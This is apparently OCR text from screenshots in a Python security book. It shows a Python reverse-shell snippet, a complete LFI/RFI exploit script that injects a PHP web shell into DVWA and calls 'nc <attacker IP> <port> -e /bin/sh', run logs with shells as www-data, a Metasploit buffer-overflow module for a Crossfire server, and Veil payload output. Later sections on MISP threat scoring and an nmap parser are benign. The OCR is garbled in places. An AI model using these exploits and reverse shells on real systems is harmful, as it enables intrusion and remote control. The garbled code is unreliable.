4 os.dup2(s.fileno(),0

5 os.dup2(s.fileno(),1)

6 os.dup2(s.fileno(),2)

7 p=subprocess.call(["/bin/sh","-1"])

< c @ © 192.168.1.102 e
)
D\@A)

khan@khanUbantu:~5 nc -nlvp 4444

listening on [any] 4444 ...

connect to [192.168.1.102] from (UNKNOWN) [192.168.1.1082] 58452
/bin/sh: @: can't access tty; job control turned off

S whoami
Wwww-data

s 1
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3 warnings

4 warnings.filterwarnings("ignore")

5 try:

6 bs4 BeautifulSoup

7 requests

8 multiprocessing mp

9 selenium webdriver

10 time

11 datetime

12 os

13 sys

14 selenium.webdriver.support.ui WebDriverWait
15 selenium.webdriver.support expected_conditions
16 selenium.common.exceptions TimeoutException
17 selenium.webdriver.common.keys Keys

18 selenium.webdriver.common.by By

19 selenium.webdriver.support.ui Select

20

21 except Exception ex:

22 print("Import Exc : " +striex))

23

24 class LFT_RFI_automate():

25 def init_ (self,target="",base=""):

26 try:

27 print("\n\n[+]LFT EXPLOIT - KHAN :")
28 self.target=sys.argv[2]

29 self.base=sys.argv[1]

30 self.target_link=sys.argv[3]

31 self.v_param=sys.argv[4]

32 self.att_1ip=sys.argv[7]

33 self.att_port=sys.argv[8]

34 if sys.argv[9] == str(1):

35 self.add_param=sys.argv[10]
36 self.server_domain=""

37 if sys.argv[5] == str(o):

38 self.login=False

EC
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else :
self.login=True
if self.login :
self.cookie=sys.argv[6]
self.1fi=True

try:
if sys.argv[2] str(®) and sys.argv[10] == str(o)|
self. False
except Exception ex:
pass
except Exception ex:
print("\n\nException caught : " +str(ex))

print('\n\nExample : python LFI_RFI.py <target ip> <target Base/Login URL> <target vulnetable URL> <Target vul
parameter> <Login required (1/0)> <Login cookies> <Attacker IP> <Attacker Lister PORT> <Add params required (1/0)>
<add_param_namel=add_param_valuel,add_param_name2=add_param_value2> | <LFI (0/1)>")

print('\n\nExample : python LFI_RFI.py 192.168.1.102 http://192.168.1.102/dvwa/login.php http://192.168.1.102/dvwa/
vulnerabilities/fi/ page 1 "security=low;PHPSESSID=5c6uk2gvq4qoriopkmprbvtéu2” 192.168.1.102 4444 0')

55 print("\nBYE BYE")

56 sys.exit()

57

58 def send_exp(self,delay,browser,exp_url):

59 print("\n[+]Exploit Sent ")

60 time.sleep(delay)

61 browser.get(exp_url)

62 browser.save_screenshot('Exploit.png')

63 def start(self):

64 try:

65 if self.login :

66 browser = webdriver.Phantom3S()

67

68 cookie=self.cookie

69 cookies=cookie.split(";")

78 all_cookies = browser.get_cookies()

[z for ¢ in cookies:

72 c_name=c.split("=")[0]

73 c_value=c.split("=")[1]

74 ck={'domain':self.base, 'name':c_name, 'value':c_value, 'httponly': False, 'secure': False,'path':'/

dvwa/ '}

75 browser.delete_cookie(c_name)

76 browser.add_cookie(ck)

77

78 browser.get(self.target) #7o ensure referer is set

79 browser.get(self.target_link)

80

81

82 else:

83 browser = webdriver.PhantomJS()

84 browser.get(self.target)

85 html = browser.page_source

86 all_cookies = browser.get_cookies()

87 soup = BeautifulSoup(html, "html.parser")

88 browser.save_screenshot('screend.png')

89 print("\n[+]Saved Screen shot Post Login / First request")

90 if self.lfi:

91 self.nav_url=self.target_link+"?"+str(self.v_param)+"=<?php echo shell_exec($_GET['cmd']); 7>"
92 print("\n[+]Preparing Payload")

93 os.system("echo '"+str(self.nav_url) +"' > exp.txt")

94 print("\n[+]Payload prepared")

95 print("\n[+]Opening Netcat to send payload..... ")

96 print("\n\n\t\t")

97 os.system("echo 'nc "+self.base+" 80 < exp.txt' > exp.sh")
98 os.system("chmod +x exp.sh")

99 os.system(". /exp.sh")
160 print("\n\n")
101 print("\n[+]Payload sent")
102 print("\n[+]Now sending Payload in 5 sec")
103 exp_url=self.target_link+"?"+str(self.v_param)+"=/var/logfapache2/access.log&kemd=nc "+self.att_ip+"

"+self.att_port+" -e /bin/sh"

104
165 print("\n\n[+]Exploit to be send : " +str(exp_url))
106 else:
107 att_url="http://"+self.att_ip+"/evil.txt"
168 os.system("echo '<?php echo shell_exec($S_GET['emd']); ?>' > fvar/www/html/evil.txt")
109 print("\n\n[+]Evil file created at Attacker machine /var/www/html/evil.txt")
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110 os.system("sudo| service apache2 start")

111 print("\n\n[+]Apache server started")

112 exp_url=self.target_link+"?"+str(self.v_param)+"="+att_url+"&cmd=nc "+self.att_ip+" "+self.att_port+" -e /
bin/sh"

113 print("\n\n[+]Exploit to be send : " +str(att_url))

114

115 p=mp.Process(target=self.send_exp,args=(5,browser,exp_url))

116 p.start()

117 print("\n[+]Starting NC")

118 print("\n[+]Preparing EXploit to send")

119 os.system("'nc -nlvp 4444")

120 except Exception ex:

121 print("\n\n\nExc : "+(striex)))

122

123 with warnings.catch_warnings():

124 warnings.simplefilter("ignore")

125

126 obj=LFT_RFI_automate()
127 obj.start()

khan@khanubantu: S python LFI_RFI.py 192.16 .102 http://192.168.1.102/dvwa/login.php http://192.168.1
.182/dvwa/vulnerabilities/fi/ page 1 "security=Llow;PHPSESSID=5c6uk2gvq4q9ri9pkmprbvt6u2” 192.168.1.102 4444 0

[+]LFI / RFI EXPLOIT - KHAN :

[+]Saved Screen shot Post Login / First request
[+]Invoked in LFI mode

[+]Preparing Payload

[+]Payload prepared

[+]Opening Netcat to send payload.

HTTP/1.1 460 Bad Request

Date: Sun, 23 Dec 2018 21:33:54 GMT

Server: Apache/2.4.18 (Ubuntu)
Content-Length: 301

Connection: close

Content-Type: text/html; charset=iso0-8859-1

IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.8/ /EN

<html><head>

title>486 Bad Request</title>

/head

h1>Bad Request</hi>

p>Your browser sent a request that this server could not understand.<br />

address>Apache/2.4.18 (Ubuntu) Server at 127.0.1.1 Port 80</address>

</body></html>

[+]Payload sent

[+]Now sending Payload in 5 sec

[+]Exploit to be send : http://192.168.1.102/dvwa/vulnerabilities/fi/?page=/var/log/apache2/access.log&cmd=nc 192.168.1.102 4 -e /bin/sh

[+]Starting NC
[+]Preparing EXploit to send

‘[+]Exploit Sent

listening on [any] 4 s0o

connect to [192.168.1.102] from (UNKNOWN) [192.168.1.102] 36984
whoami

waw-data

1s

help

include.php

index.php

source
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khan@khanubantu: $ python LFI_RFI.py 192.168.1.102 http://192.168.1.102/dvwa/login.php http://192.168.1
.102/dvwa/vulnerabilities/fi/ page 1 "security=low;PHPSESSID=5c6uk2gvqaqoriopkmprbvtéuz" 192.168.1.102 4444 © 0

[+]ILFI / RFI EXPLOIT - KHAN :
[+]Saved Screen shot Post Login / First request

[+]Invoked in RFI mode
[+]Evil file created at Attacker machine /var/www/html/evil.txt
[+]Apache server started

[+]Exploit to be send : http://192.168.1.102/evil.txt
[+]starting NC
[+]Preparing EXploit to send

[+]Exploit Sent

listening on [any] 4444 ...

connect to [192.168.1.102] from (UNKNOWN) [192.168.1.162] 37120
whoami

www-data

1s

help

include.php

index.php

source

1l require 'msf/core’

2/class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

4 include Msf::Exploit::Remote::Tcp
5 def initialize(info = {})

6 super(update_info(info,
7
8

w

"Name' == 'Custom CrossFire Exploit Module',
'Description'=> %q{

9 Lets EXploit the Bufferoverflow vulnerability in Crossfire aj
10 e

11 '‘Author' => [ 'Khan', 'khan PACKET' 1.

12 'License' => MSF_LICENSE,

13 'References' =>

14 [

15 [ 'CYE', '2006-1236' ],[ 'OSVDB', '2006-1236' ],| 'EDB', '1582°'
16 1.

17 'Privileged' => false,

18 'Payload' =>{

19 'Space'=> 300,

;] 'BadChars' => "\x00%\x0a\x0d\x20",

21 },

22 'Platform'=> 'linux"',

23 'Targets' ==[['Kali Linux', { 'Ret' == 0x0807b918 }]1,1,

24 'DisclosureDate’ == 'Mar 13 2006°',

25 'DefaultTarget' => 0))

26 register options(
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end

[
Opt::RPORT(13327)
]. self.class)

def check

end

connect

disconnect

if (banner =~ /version 1023 1027 Crossfire Server/)
return Exploit::CheckCode: :Vulnerable

end

return Exploit::CheckCode: :Safe

def exploit

end

connect

sh = "\x11l({setup sound

sh << rand text alpha upper(91)

sh =< payload.encoded

sh << rand text alpha upper(4277 - payload.encoded.length)
sh << [target.ret].pack('Vv')

sh =< "C" * 7

sh =< "\ X
sock.put(sh)
handler
disconnect

\ XOOF#

Copyri

ht

ght

CFAnim
CFAnim

(C)
(C)

1994
199z

5 the logfile - will u

rcophagus container): sarcophagus

Johansen.

s/cfpython.so: libpython2.5.s50.1.0
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]
iliary - 310 pc ]

10 nops 1
[ Fr Metasploit Pro trial: http://r-7.co/trymsp 1]

use exploits/custom/cf/custom cf
xploit( ) RHOST 192.168.250.208
192.168.250.208
«ploit

TCP hanc on 192.168.250.208:4444
(861480 bytes) to 192.168.250.208
erpreter s 0 (192.168.250.208:4444 -> 192.168.250.208:35378) at 2018-12-24 1
-0500

File Virtual Machine Help
Applications Places »  [] Terminal ~ Mon 17:47

root@Kkali: ~
File Edit View Search Terminal Help

000f:err ice:pro receiving command result timed out
Lo i

r autoload
autoload
ncylList
ConfigFile

Detec -
WARNING : 3 3 i-1.4. mingw32/1ib was not found
4 files,

Adding ruby

Adding d

Adding library files

compr ing 19941660 bytes

Finished building /var/lib/veil/output/co e 1713 byte

[*] Langua
[*] Payload ¢
/var/lib/veil/output/compiled/exploit.exe
to: /var/lib/veil/output/source/exploit.rb
e file written to: /var/lib/veil/output/handlers/exploit.

To release input, press Ctrl+Alt

Ca womad
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Chapter 14: Cyber Threat Intelligence

ol

Multiple Security Effort & Time
Lookups consumption

Correlation Manual Analysis 'I

— = 20-50 Alerts / Integrating all

1000K Events /
Minute

<4

Hour Pieces
I Scope For
Validation Decision Making Autopmated
Analysis

1 or 2 Escalations A

i
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J Cybercrime
J Hacktivism

) Cyber Espionage Commercial
e Sources
Dark Webn [ ] Open Source
Intelligence ow Feeds

Vertical }" ' m, Social Media
Communities( ) f _,., Intelligence
Gyin

03

Cyber Threat Intelligence
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Social Media
telligence

Feed
Sharing

IDS/IPS SIEM Security Artificial
Analytics Intelligence
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<« ¢ @ @ 127.0.0.1/feeds/index 8 N @
Add Feed Feeds
Import Feeds from JSON Generate feed lookup caches
Feed overlap analysis matrix
Export Feed settings
evio next
Defaultfeeds  Custom Feeds Enabled Feeds
Id  Name Feed  Provider Input  URl Target Publish Delta Override Disiribution Tag Enabled Lookup Caching Actio
Format Merge DS Visible
1 CIRCLOSINTFeed s MISP CIRCL network  httpsziwww.circllu/doc/misp/ieed-osint Al v x Notcached & QO
Feed communities
2 TheBowrjeuDatagly MISP  Botvrijeu network  hip/www botvri] eu/data/ieed-osint Al v x Notcached & QO
Feed communities
3 inThreatOSINTFeed  MISP  inThreat network ~ htipsz/feeds.nthreat com/osinymisp/ Your x Notcached &, Q@
Feed organisation
only
4 ZeuSIP blocklist Simple  zeustracker.abuse.ch network  hilps?/zeusiracker.abuse ch Fied % v v Your v Notcached &, Q@
(standard) o osv Iblocklist php?download=ipblocklist event organisation
Parsed 1306 only
Feed
5 ZeuS ised URL ~ Simple ustracker.abuse.ch network  hitpsz/izeustracker.abuse ch Fixed 3 v v Your v Notcached & Q@
blockiist s csv Iolocklistphp?download—compromised  event organisation
Parsed 1307 only
Feed
6  blockrules of Simple  rul net network  hitpuirules net Fixed 3¢ v v Your x Notcached & QO
rules.emergingthreats.net GSV plockrules/compromised-ips.txt event organisation
|« ¢ @ 127.0.0.1/tasks - v n o

Add User

ListUsers

Contact Users

Organisation

List Organisations

Add Role

List Roles

rver Seftings

Jobs

Scheduled Tasks
Blacklists Event
Manage Event Blacklists
Blacklists Organisation

Manage Org Blackiists

Scheduled Tasks

Here you can schedule pre-defined tasks that will be executed every x hours. You can aller the date and time of the next scheculed execution and the frequency atwhich itwill be repeated (expressed in hours). if you set ihe frequency to 0 ther

the task will not be repealed. To change and of the above mentioned setings Just click on the appropriate fleld and hit updale all when you are done editing the scheduled tasks.

Type

a jrreat scoring Jf15]

| =
4 cache_feeds 0
3 push_all 0
2 pull_all 0
1 cache_exports 0

Update all

Frequenoy (h)

Scheduled Next Run

Time.

04:30:34

o220}

12:00
12:00
12:00

12:00

Page 1 011, howing 6 fecords out of 6 total, starting on record 1, ending on &

2018-01-10

o19-01-10

2014-02-05
2014-02-05
2014-02-05

2014-02-05

Description
nitiales a scheduled task that does threat scoring on collecied I0C's
nitiales the pull of all feeds.

Initiates the caching of all feeds.

Initiates a full push for all eligible instances

Initiates a full pull for all eligible Instances.

Generates export caches for every exporttype and for every arganisation.

This process is heavy and itis highly advised to leave export cache
generation as an on-demand function for users. STIX export not included

Message

|Scheduler Task started By

process id : 343

36 job(s) completed at
05/01/2019 - 20353018

Failed jobs: 1/36
Not scheduled yet.
Not scheduled yet.
Not scheduled yet.

Not scheduled yet.
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& Events - MISP

& ¢ @

List Events

Add Event

mport From MISP Export

List Atributes

Search Atrributes

View Proposals

® 127001

Events

2 3 4 5 6 7 8 9 10
Q My Evenis  Org Events
| Published Org OwnerOrg Id  Clusters Tags

#Attr.  Emall Date

next

Threat Level Analysis

Filter
info

dmin & L

N @

Distribution ~ Actions

Publish (no emall)

[ Reporter
Download as...
List Ev

Add Event

#Attributes
Sightings
Activity

sipquery feed
No
488
0(0) - resticted to own organisation only. &

1337: sipque.

Galaxies

+
(] pate org

) 20190105

(] 2019:01-05

Events with pro | % - [ ] 1355 19501¢ NN 2019-01-10 Undefined  Completed hosis-file.net- hphost-  Organisation & G Tl
malwarebytes - EMD
Export classification ONLY feed
Automation ] - 354 osint:source-type="block-or- 162176 |ESMNSSMMMNNN 2019-01-09 Undefned  Completed hosis-file net-hphost-  Organisation & G i
L maiwarebytes feed
| v | ] ] osint:source-ype="block-or- a7 I 20190109 Undefined  Gompleted Feodo IP Blockiistteed  Organisation @ i
- filter-list"
- - 1352 104285 admin@admin test 2019-01-08 Undefined Completed hosts-file.net - hphost - Organisation i @i
malwarebytes feed
- [ ] 1351 a7 admin@admin test 2019-01-08 Undefined  Completed Feodo IP Blocklistieed  Organisation & & il
[ ] - 133 osint:source-type="block-or- 15000 admin@admin.test 2010-01-05 Undefined  Completed ~ci-badguys bxtfeed Organisation & G i
filter-list”
0% ouU DU 134 63103 admin@admin lest 2019-01-06 Undefined ~ Completed hosts-fle.net-hphost-  Organisation & G i
malwarebytes - EMD
classification ONLY feed
c @ @ 127.0.0.Vevents 1 5] m @
- Email admin@admin.test
Add Attt Tags
Populate from. Date 2019-01-05
Merge atiributes from Threat Level Undefined
Analysis Completed
Distribution Your organisation only
Publish Event

3 5 6 7 8 9 ned
Eox

Category Type  Value

Network activity ip-dst  [EENEFFEERE]

Network activity Ip-dst

190.104.47.35

view all

Fitters: EANEEEY File Network Financial Proposal Comelaion Wamings Include deleted affribues Show context fields

Tags Comment Correlate Related Events Feed hits IDS  Distribution Sightings  Activity Actions
[+ ] 4 1331 1332 Yes  Organisation G F edle
1333 (07010}
=] Yes  Organisation GRF e il @i
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1 #!/usr/bin/env python

2# -*- coding: utf-8 -*-

3

4 from pymisp import PyMISP

5 from keys import misp_url, misp_key, misp_verifycert

6 import argparse

7 import os|

8 import json

10 proxies = None

11 def init(url, key):

12 return PyMISP(url, key, misp verifycert, 'json', proxies=proxies)
13

14 def get event(m, event, out=Mone):

15 result = m.get_event(event)

16 if out is None:

17 print(json.dumps(result) + '\n')

18 else:

19 with open{out, 'w') as f:

20 f.write(json.dumps(result) + '\n"}

21

22if name == "' main ':

23 parser = argparse.ArgumentParser(description='Get an event from a MISP instance.')
24 parser.add argument("”-e", "--event”, required=True, help="Event ID to get.")
25 parser.add argument("-o", "--output”, help="Output file")
20 args = parser.parse_args()

27

28 if args.output is not None and os.path.exists{args.output):
29 print('Output file already exists, abord.')

30 exit(0)

31 misp = init(misp url, misp key)

32 get event{misp, args.event, args.output)
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"Tags":

"Date":

"weightage":15,
"partitions”:

"weightage":30,
"partitions”:

[

{"11":5,"ul": 10000000000, "weight":100,"type":"range"},
{"type":"fixed","size":4,"weight":90},
{"type":"fixed","size":3,"weight":75},
{"type":"fixed","size":2,"weight":55},
{"type":"fixed","size":1,"weight":25}

1

"11":0,"ul":30,"weight":100, "type":"range"},
"11":31,"ul":60, " "weight":100,"type":"range"},
"l11":61,"ul":90, "weight":1600,"type":"range"},
"11":91,"ul":100,"weight":908,"type":"range"},
{"11":101,"ul":120,"weight":80,"type":"range"},
{"11":121,"ul":150, " "weight":65,"type":"range"},
{"11":151,"ul":180,"weight":55,"type":"range"},
{"11":181,"ul":210,"weight":45,"type":"range"},
{"11":211,"ul":240,"weight":35,"type":"range"},
{"11":241,"ul":270, " "weight":25,"type":"range"},
{"11":271,"ul":300, " "weight":15,"type":"range"},
{"11":301,"ul":330,"weight":10,"type":"range"},
{"11":331,"ul":365,"weilght":5,"type":"range"},
{"11":365,"ul":1000000000000, "weight":0,"type":"range"}
]

e g ety ey
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36 "Corelation”:
37 {
38 "weightage"”:54,
39 "partitions":
40 L
41 {"11":35,"ul": 10000000, "weight":100,"type":"range"},
42 {"11":38,"ul":34, "weight":90,"type" :"range"},
43 {"11":26,"ul":29, " "weight":80,"type":"range"},
44 {"11":23,"ul":25, " "weight":70,"type" :"range"},
45 {"11":20,"ul":22, " "weight":60,"type":"range"},
46 {"1":17,"ul":19, "weight":50,"type" :"range"},
47 {"11":14,"ul":16, "weight":40,"type":"range"},
48 {"11":18,"ul":13, "weight":30,"type":"range"},
49 {"11":6,"ul":9," "weight":20,"type":"range"},
50 {"11":2,"ul":5,"weight":10,"type":"range"}
51 ]
52 1,
53 "Comment™:
54 {
55 "weightage":1,
56 "partitions":
57 [
58
59 {"type":"fixed","size":1,"weight":100},
60 {"type":"fixed","size":0, "weight":0}
61
62
63 1
64 }
65 }
1 json
2 o0s
3 keys misp_url, misp_key
4 logging
5 DB_Layer.Misp_access MispDB
6 multiprocessing
7 multiprocessing Process
8 math
9 datetime
10 time
)
12 class ThreatScore():
13
14 def  init  (self):
15 logger = logging|.getLogger('Custom_log')
16 logger.setlLevel(logging.DEBUG)
17 fh = logging.FileHandler('TS.log")
18 fh.setLevel(logging.DEBUG)
19 ch = logging.StreamHandler()
26 ch.setlevel(logging.ERROR)
21 formatter = logging.Formatter(’ - - -
22 fh.setFormatter(formatter)
23 ch.setFormatter(formatter)
24 # add the handlers to the logger
25 logger.addHandler(fh)
26 logger.addHandler (ch)
27 self.log = logger
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Spawned" ,update_process=False)

def UpdateThreatscore(self,mode="parllel",task_id=6):

try:

ret_resp={}
cpu_count_to_use=1
cpu_count=multiprocessing.cpu_count()
if cpu_count > 1:
cpu_count_to_use=math.ceil(cpu_count/1)
self.log.debug("CPU cores to use : " +str(cpu_count_to_use))
att_stat=MispDB().getAttributeCount()
att_count=0
feed_count=0
if att_stat["status"]=="success":
att_count=int(att_stat["value"])
en_st=MispDB().getEnabledFeeds()
if en_st['status"]=="success":
feed_count=int(en_st["value"]["enabled"])

if att_count:

while (1):
if (int(att_count) % cpu_count_to_use) ==
break
else:

att_count=att_count+1
chunk_size=att_count/cpu_count_to_use
chunk_index=0
limit_offset=[]
while(chunk_index <= att_count):
1imit_offset.append({"offset":int(chunk_index),"limit":int(chunk_size)})
chunk_index=int(chunk_index+chunk_size)

process_list=[]
MispDB().updateTask(task_id=task_id,status="processing",message="Processes to be
self.log.debug("Processes to be Spawned : "
for i in range(®,len(limit_offset)):
pr=Process(target=self.StartProcessing,args=(limit_offset[i]["offset"],limit_offset[i]

+str(cpu_count_to_use))

["limit"],str(i),task_id,False,feed_count))

63 process_list.append(pr)

64 pr.start()|

65 for process in process_list:

66 process. join()

67 status_codes=MispDB().getTaskStatusCodes(task_id)

68 ret_resp["status"]="success"

69 ret_resp["value"]="Threat Scoring Finished Successfully"

70 if status_codes["status"] "

71 self.log.debug("Obtained Process messaged : " +str(status_codes))

T2 return_now=False

73 for code in status_codes["value"]:

74 if isinstance(code,str):

75 code=json.loads(code)

76 if code["status" "failure":

77 ret_resp["status"]="failure"

78 ret_resp["value"]="Threat Scoring Finished with error for Process id :"+code
["id"]+" . Message : " +code["message"]

79 return_now=True

80 break

81 return ret_resp

82 else:

83

84 ret_resp["status"]="fallure"

85 ret_resp["value"]="Process succeded but the final update failed as no value was returned in
att_count" + status_codes["value"]

86

87 else:

88 ret_resp["status"]="failure"

89 ret_resp["value"] hreat scoring Execution failed - No value in attribute count"

90 return ret_resp

91 return ret_resp

92 except Exception ex:

93 print("Exception : " +str(ex))

94 ret_resp["status"]="failure"

95 ret_resp["value"]="1 Threat Scoring Execution failed - " +str(ex)

96 self.log.error("Ended at time : " +str(datetime.datetime.now()))

97 return ret resp
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174 def StartProcessing(self,offset,limit,process_id,task_1id,external_scoring=False,feed_count=0):

175 try:

176 root=os.path.dirname(os.path.realpath(__file__))

177 weilghtage_settings={}

178 with open(os.path.join(root,"weightage.json")) in_file:

179 weightage_settings=json.loads(in_file.read())

180 att_list_status=MispDB().getAttributesToScore(offset,limit)

181 failure=False

182 att_id_failed=0

183 if att_list_status["status"]=="success":

184 att_list=att_list_status["value"]

185 if external_scoring==False:

186 self.log.debug("Started : Limit : "+str(limit) + " Offset : " +str(offset))

187 resp=self.Scoring(att_list,weightage_settings,external_scoring=False,feed_count=feed_count)

188 else:

189 resp=self.Scoring(att_list,weightage_settings,external_scoring=True,feed_count=feed_count)

190

191 if resp["status"]=="success":

192 MispDB().updateProcessMessage(process_id,task_id, "success","Process succeded for chunk :
"+str(offset)+" -- "+str(limit))

193 self.log.debug("Process succeded for chunk : "+str(offset)+" -- "+str(limit))

194

195 else:

196 MispDB().updateProcessMessage(process_id,task_id,"failure","® Process failed to
Update details for chunk : "+str{offset)+" -- "+str(limit) +" - @ Failure Message : " +str(resp["value"]))

197 self.log.debug("Process Failed for chunk : "+str(offset)+" -- "+str(limit))

198

199 else:

200 att_stat=MispDB().getAttributeCount()

201 att_count=0

202 if att_stat["status"]=="success":

203 att_count=int(att_stat["value"])

204 if offset < att_count:

205 MispDB().updateProcessMessage(process_1id,task_id,"failure","1 Process
failed to pull up chunk : "+str(offset)+" --"+str(limit)+" - 1 Failure Message : " +str(att_list_status["value"]))

206 else:

207 MispDB().updateProcessMessage(process_id,task_id,"success","Process found empty
chunk : "+str(offset)+" -- "sstr(limit))|

208 except Exception ex:

209 MispDB().updateProcessMessage(process_id,task_id,"failure","2 Process failed for chunk : "+str(offset)+"
--"#str(limit)+" - 2 Failure Message : " +str(ex))

210

124 def Scoring(self,att_list,weightage_settings,external_scoring=False,feed_count=0):

125 try:

126 ret_resp={}

127 failure=False

128 att_id_failed=[]

129 for att in att_list:

130 att_date_score=self.DateScore(att["i_date"],weightage_settings["Date"])

131 att_tags_score=self.TagScore(att["i_tags"],weightage_settings["Tags"]

132 att_corelation_score=self.CorelationScore(att["i_corelation"],weightage_settings
["Corelation"],feed_count=feed_count)

133 att_comment_score=self.CommentScore(att["i_comment"],weightage_settings["Comment"])

134 internal_score=att_date_score + att_tags_score + att_corelation_score + att_comment_score

135

136 internal_scor nternal_score/10 #Scale down to number

137 internal_score=internal_score

138 if external_scoring ==False:

139 resp=MispDB().updateAttributescore(id=att["id"],1_date_score=att_date_score,

140 i_tags_score=att_tags_score,i_corelation_score=att_corelation_score,

141 i_comment_score=att_comment_score,total_internal_score=internal_score,

142 cumulative_score=internal_score,value=att["value"])

143 else:

144 resp=self.Externalscoring(att,weightage_settings,att_date_score,

145 att_tags_score,att_corelation_score,att_comment_score,internal_score,feed_count=feed_count)

146 if resp["status”"]=="faillure":

147 failure=True

148 att_1id_failed.append(att["id"])

149 if failure==True:

150 ret_resp["status"]="success"

151 ret_resp["value"]="Cant update for attributes : "+ str(att_id_failed)

152 else:

153 ret_resp["status"]="success"

154 ret_resp["value"]="Process Executed Successfully"

155 return ret_resp|

156 except Exception ex:

157 self.log.debug("Exception : "+str(ex))

158 ret_resp={}

159 ret_resp["status"]="failure"

160 ret_resp["value"]=str(ex)
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12019-01-11
22019-01-11
32019-01-11
42019-01-11
52019-01-11
6 2019-01-11
7 2019-01-11
8 2019-01-11
9 2019-01-11
16 2019-01-11

18:46:47,332 - Custom_log - DEBUG - CPU cores to use : 4

18:46:55,553 - Custom_log - DEBUG - Processes to be Spawned : 4

18:48:03,945 - Custom_log - DEBUG - Started : Limit : 1065228 Offset : @
18:48:41,338 - Custom_log - DEBUG - Started Limit : 1065228 Offset : 1065228
18:48:53,693 - Custom_log - DEBUG - Started Limit : 1065228 Offset : 2130456
18:49:02,283 - Custom_log - DEBUG - Started : Limit : 1865228 O0ffset : 3195684
20:38:28,367 - Custom_log - DEBUG - Process succeded for chunk : ® -- 1065228
20:38:46,296 - Custom_log - DEBUG - Process succeded for chunk : 1065228 -- 1065228
20:40:13,012 - Custom_log - DEBUG - Process succeded for chunk : 3195684 -- 1065228
20:40:16,026 - Custom_log - DEBUG - Process succeded for chunk : 2130456 -- 1065228

235 def DateScore(self,date,weightage_settings):
236 try:
237 ioc_time=time.strftime( '%Y-%m-%d', time.localtime(float(date)+14400))
238 time_format = '%Y-%m-%d’
239 time_delta=datetime.datetime.now() - datetime.datetime.strptime(ioc_time, time_format)
240 days=time_delta.days
241 if days < 0:
242 days=1 #It means its very recent
243 score=self.ComputeScore(int(days),weightage_settings, 'Date')
244 return score
245 except Exception ex:
246 self.log.error("Exception in computing Date Score : "+str{ex))
247 return ©
248 def TagScore(self,tags,weightage_settings):
249 try:
250 score=self.ComputeScore(int(tags),weightage_settings,'Tags')
251 return score
252 except Exception ex:
253 self.log.error("Exception in computing Tag Score : "+str(ex))
254 return 0|
255 def CorelationScore(self,corelations,weightage_settings,feed count):
256 try:
257 weightage=int(weightage_settings["weightage"])
258 partitions=weightage_settings["partitions"]
259 c_p=(int({corelations)/int(feed_count))*160
260 assig_wt=0
261 for partition in partitions:
262 int(partition["11"])
263 ul=int(partition["ul"])
264 weight=int(partition["weight"])
265 if c_p »= 11 and c_p <= ul:
266 assig_wt=weight
267 break
268 score=weightage * (assig_wt /108)
269 return score
270 except Exception ex:
271 self.log.error("Exception in computing Correlation Score : "+str(ex))
272 return 0
205 def ComputeScore(self,weighted_parameter,weightage_settings,p_type="NAN"):
206 try:
207 weightage=int(weightage_settings["weightage"])
208 partitions=weightage_settings["partitions"]
209 assig_wt=0
210 for partition in partitions:
211 if partition["type"]=="range":
212 1l=int(partition["11"])
213 ul=int(partition["ul"])
214 weight=int(partition["weight"])
215 if weighted_parameter >= 11 and weighted_parameter <= ul:
216 assig_wt-weight
217 break
218
219 elif partition["type"] fixed":
220 size=int(partition["size"])
221 weight=int(partition["weight"])
222 if weighted_parameter ==size:
223 assig_wt=weight
224 break|
225 score=weightage * (assig wt /100)
226 return score
227
228 except Exceptien ex:
229 self.log.error("Exception while computing score for parameter type : "+str(p_type)+" - "+str(ex))
230 return ©
*Untitled Document1  x *Untitled Document2 x weightagejson  x keys.py x TS.py * ThreatScoreMaster.py  x *Ts.log
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smcuser | 172.16. 0696 | misp Sleep ] | NULL

smcuser | NULL

yls 172.16.Z 10:5069 ] e ta | select id,V,score,Type,CTI Feed from
| commit
| commit
| commit

| commit

information for comple

off this feature to get

at scoring;

NULL auto increment
NULL

NULL
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Chapter 15: Other Wonders of Python

1 libnmap.parser NmapParser

2 sys

3

4 class nmap_parser:

5 def _ init_ (self,report_file):

6 self.report_file=report_file

T

8 def parse(self):

9 report=NmapParser.parse_fromfile(self.report_file)

10 bulk_list=""

11 hosts=report.hosts

12 for host in hosts:

13 if host.is up():

14

15 portso=host.get_open_ports()
16 if portso:
17 print("Up Host with service : " +str(host.address))
18 for port_service in portso:
19
20 service =host.get_service(port_service[0],port_service[1])
21 print("\t Address : "+ str(host.address))
22 print("\t Open Port : "+ str(port_service[8]))
23 print("\t Service : "+ str(service.service))
24 print("\t State : "+ str(service.state))
25 print("\t Version /Banner: "+ str(service.banner))
26 print("\n")
27
28 else:
29 print("Down Host : " +str(host.address))

30 obj=nmap_parser(sys.argv[i])
31 obj.parse()

1 <?xml version="1.0"7?>
2 <!DOCTYPE nmaprun>
3 <?xml-stylesheet href="file://
4 <!-- Nmap 6.47 scan initiated
r 160 1 10.228.24
5 <nmaprun scanner="nmap" args="nmap -Pn -sS -sV -vv -&#45;max-retries 3 -&#45;max-rtt-timeout 1000ms -&#45;top-ports 10800 -oA tcpl
10.228.24.1-64" start="1473234764" startstr="Wed Sep 7 08:52:44 2016" version="6.47" xmloutputversion="1.04">
6 <scaninfo type="syn" protocol="tcp" numservices="1000"
services="1,3-4,6-7,9,13,17,19-26,30,32-33,37,42-43,49,53,70,79-85,88-90,99-100,106,109-111,113,119,125,135,139,143-144,146,161,163,179,199,:
>
7 <verbose level="2"/>
8 <debugging level="0"/>
9 <taskbegin task="Parallel DNS resolution of 64 hosts." time="1473234764"/>
10 <taskend task="Parallel DNS resolution of 64 hosts." time="1473234764">
11 <taskbegin task="SYN Stealth Scan" time="1473234764"/>
12 <taskprogress task="SYN Stealth Scan" time="1473234795"
13 <taskprogress Stealth Scan" ti 1473234825"
14 <taskprogress Stealth Scan” 1473234855"
15 <taskprogress Stealth Scan" 1473234978"
16 <taskprogress Stealth scan" 1473235008"
17 <taskprogress Stealth scan" 1473235038"
18 <taskprogress Stealth Scan” 1473235068"
19 <taskprogress Stealth Scan" 1473235098"
20 <taskprogress Stealth Scan" 1473235128"
21 <taskprogress Stealth scan" 1473235158"
22 <taskprogress Stealth Scan” 1473235188"
23 <taskprogress ="SYN Stealth Scan” 1473235218"
24 <taskprogress task="SYN Stealth Scan" time="1473235248" percent= .12" remaining="36" etc="1473235284"f>
25 <taskend task="SYN Stealth Scan" time="1473235291" extrainfo="64000 total ports"/>
26 <taskbegin task="Service scan" time="1473235291"/>
27 <taskend task="Service scan" time="1473235304" extrainfo="6 services on 64 hosts"/f>
